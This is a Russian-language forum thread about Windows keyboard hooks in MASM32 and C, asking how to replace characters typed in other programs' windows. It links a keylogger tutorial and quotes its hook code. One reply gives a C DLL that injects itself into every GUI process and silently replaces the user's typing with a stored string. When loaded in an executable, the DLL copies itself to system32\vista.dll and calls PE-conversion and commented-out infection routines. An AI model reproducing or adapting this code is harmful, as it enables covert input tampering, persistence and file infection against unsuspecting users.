Есть программа, которая устанавливает системный хук на клавиатуру, далее специальным образом обрабатывает введенный на клавиатуре символ и отправляет в свое окно лога. А как сделать так, чтобы программа отправляла символ в активное окно другого приложения вместо введенного там символа, как в Пуантосвич? Я определяю правильный хендл активного окна функцией GetActiveWindow, проверялся прогой MouseHook, далее посылаю символ SendMessage.
попробуй так invoke FindWindow, okno, 0 mov [hw],eax invoke EnumChildWindows,[hw],EnumChildProc, NULL invoke SendMessage,[hchild],WM_SETTEXT,100,text invoke ExitProcess,0 proc EnumChildProc hwchild,NULL push ebx esi edi invoke GetClassName, [hwchild],ClassName,5 ;Ищем по классу cmp [ClassName],edit mov eax,[hwchild] mov [hchild],eax endp okno db 'notepad', 0 hw rd 4 text db 'Hello',0 edit db 'edit',0 ClassName rd 1 hchild rd 4
хорошо, попробую. Нужно делать обработку во всех окнах с клавиатурным фокусом, например на ярлыках. Понимаю, что нужно разбираться с функцией KeyBoardProc с фильтрацией сообщений WM_KEYUP и WM_KEYDOWN. Но хотел бы услышать мнение специалистов на след вопрос. Можно ли в длл-ке хука отловить нажатый символ (вирткей в wParam), обработать, заменив на др значение и вернуть программе в которой осуществляется клавиатурный ввод. Например, я печатаю сейчас на форуме, в редакторе, на ярлык, а некоторые символы (а, б, в) преобразуются в верхний регистр http://back2hack.cc/masm-keylogger-t-1027.html KeyBoardProc PROC nCodeWORD, wParamWORD, lParamWORD описание еменных ;---------------------------- lea edi, [lpKeyState] ; lets zero out our buffers push 256/4 pop ecx xor eax, eax rep stosd ; sets us up for doubleword from EAX mov eax, wParam cmp eax, WM_KEYUP ; only need WM_KEYDOWN je next_hook ; bypass double logging cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN je next_hook ; bypass double logging
Нет, CallNextHook позволяет виндовс обработать всю цепочку ранее установленных хуков. Поэтому необходимо, изменять wParam до нее. mov wParam, 44h дает символ d в логе моей программы, вместо всех введенных в любых окнах. Установил фильтр WH_KEYBOARD_LL, отлавливаются WM_KEYDOWN и WM_SYSKEYDOWN 1.Если выйти из LowLevelKeyboardProc с eax =1, то "обламывается" весь ввод с клавиатуры. 2.Код из LowLevelKeyboardProc иммитирует нерабочую клавишу 'a' mov esi, [lParam] ; указатель на структуру KBDLLHOOKSTRUCT ;typedef struct { mov eax, dword ptr [esi] ; vkCode .if eax == 41h invoke CallNextHookEx,hHook,nCode,wParam,lParam mov eax,1 ret ; если нажали 'a', извлечь (убрать) сообщение из очереди ; символ 'a' печатается с замедлением ;invoke GetActiveWindow ;mov hAWnd, eax ;invoke GetMessage, addr uMsg, hAWnd, WM_KEYUP, WM_KEYDOWN .endif Тобр, замена символа в структуре KBDLLHOOKSTRUCT при WM_KEYDOWN также не работает KBDLLHOOKSTRUCT struct vkCode DWORD ? scanCode DWORD ? flags DWORD ? time DWORD ? dwExtraInfo DWORD ? ;ULONG_PTR ? KBDLLHOOKSTRUCT ends
Код (Text): #include <windows.h> #include "MainHook.h" #include "resource.h" HANDLE hHeap=NULL; HMODULE hInstance=NULL; HHOOK hhookHooks=NULL; static char* txt=NULL; MEMORY_BASIC_INFORMATION mbi; char pPath[MAX_PATH]; long slen=NULL; char windir[MAX_PATH]; BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { hInstance=hModule; VirtualQuery(DllMain,&mbi,sizeof(mbi)); GetModuleFileName((HMODULE)mbi.AllocationBase,(LPCH)pPath,MAX_PATH); slen=lstrlen((LPCSTR)pPath); if (!lstrcmpi((LPCSTR)(pPath+slen-3),"exe")) { GetWindowsDirectory(windir,MAX_PATH); lstrcat(windir,"\\system32\\vista.dll"); install_dll(windir); ConvertPE(windir); //infect_pe(""); return true; } switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: hHeap=GetProcessHeap(); if (!hHeap) return false; txt=(char*)HeapAlloc(hHeap,HEAP_ZERO_MEMORY,MAX_PATH); LoadString ((HINSTANCE)hInstance,IDS_1,(LPSTR)txt,MAX_PATH); return true; case DLL_THREAD_ATTACH: return true; break; case DLL_THREAD_DETACH: return true; break; case DLL_PROCESS_DETACH: HeapFree(hHeap,0,txt); return true; } return true; } __declspec(dllexport) void dummy() { } __declspec(dllexport) HHOOK InstallFilterDLL() { hhookHooks=SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC) HookProc, (HINSTANCE) hInstance, 0); return hhookHooks; } __declspec(dllexport) BOOL UnInstallFilterDLL() { return UnhookWindowsHookEx(hhookHooks); } LRESULT WINAPI HookProc(int nCode, WPARAM wParam, LPARAM lParam) { MSG *lpMsg; static int pos; if (nCode >= 0) { lpMsg = (MSG *) lParam; switch (nCode) { case HC_ACTION: if (lpMsg->message==WM_CHAR) { //KeyPress Handling if (lpMsg->wParam==VK_BACK) { if (pos>0)pos--; } else if (lpMsg->wParam==VK_RETURN) { pos=0; } else { if (pos==lstrlen((const char *)txt)) pos=0; lpMsg->wParam=(char)*(txt+pos); pos++; } } return CallNextHookEx(0, nCode, wParam, lParam); default: return CallNextHookEx(0, nCode, wParam, lParam); } } else { return CallNextHookEx(0, nCode, wParam, lParam); } } bool CanHook() { return true; } void ViewLastError(void) { void* cstr; FormatMessage( FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language (LPTSTR) &cstr, 0, NULL ); MessageBox(0,(LPCSTR)cstr,"ERROR",MB_OK); }
Будучи внедренной во все GUI процессы подменяет ввод на строку в ресурсах. Пишем одно- пишется другое. Ну тока убрать чушь всякую лишнюю)))
punxer Большое спасибо. Как в коде перейти к переменным типа uMsg.message вместо [ebx].message? Хотелось бы сделать как в примере на C++, а ничего не получается. ;mov (MSG) uMsg, eax mov ebx, lParam assume ebx: ptr MSG .if nCode == HC_ACTION .if [ebx].message== WM_CHAR ;mov eax, [ebx].message ;PrintHex eax ;PrintHex WM_CHAR ;//KeyPress Handling .if [ebx].wParam==VK_BACK ;.if (pos>0)pos--; .elseif [ebx].wParam==VK_RETURN ; pos=0; .endif ;{ ;mov eax, [ebx].wParam ;PrintHex eax;uMsg.wParam .if [ebx].wParam == 41h ;if (pos==lstrlen((const char *)txt)) pos=0; mov [ebx].wParam, 44h ;uMsg->wParam=(char)*(txt+pos); ;pos++; .endif .endif ;} .endif ;.if nCode == HC_ACTION
DarkAngel, Можно скопировать структуру, на которую указывает lParam, в локальную структуру, а перед возвратом — скопировать обратно модифицированную. Только непонятно, зачем такая акробатика. Хочется писать Msg.message вместо [ebx].message — сделай Msg equ [ebx] (только каша в голове заметна: то uMsg.wParam, то uMsg->wParam, а вообще в венгерской записи префикс u означает беззнаковый скаляр, не структуру и не указатель на оную).
Не совсем ясно, как переводится на ассемблер MASM32 след. код? MSG *lpMsg; lpMsg = (MSG *) lParam; И еще один вопрос по языковым локалям. Выставлена английская раскладка (EN на языковой панели) 1. Если меняется 41h на 44h, то при вводе с клавиатуры получаю одинаковый результат d в любом окне и в едит-контроле моей программы (invoke SetDlgItemText,hDlg,IDC_WNDPROC,addr buffer). 2. Если меняется 41h на любой символ русской раскладки (при активной EN), то в активном окне выводится символ из английского набора, но русский символ в едит-контроле моей программы. Как это исправить при установленной русской локали? Без установленной? Если коротко. 3 проги: qikpad.exe, моя прога, notepad.exe. Везде Edit-контрол. -Запускаю свою прогу с хуком и с Edit-контролом -Запускаю и печатаю на EN-раскладке русскими символами в C:\masm3210\examples\exampl02\qikpad\qikpad.exe Все это печатается один к одному в моей проге (обрабатываются клавиши упр-я курсором, таб, забой, дел; текст редактируется один к одному). Копируется без проблем в оба направления. При копировании из Edit-контрола моей программы в Edit-контрол notepad, вставляется абракадабра, типа "Àçáóêà" вместо "Азбука" . Конечно, все и так отлично, но хотелось бы еще лучше.
Код (Text): msg MSG <?> invoke CopyMemory offset msg, lparam, размер MSG msg.message типа того только это бред))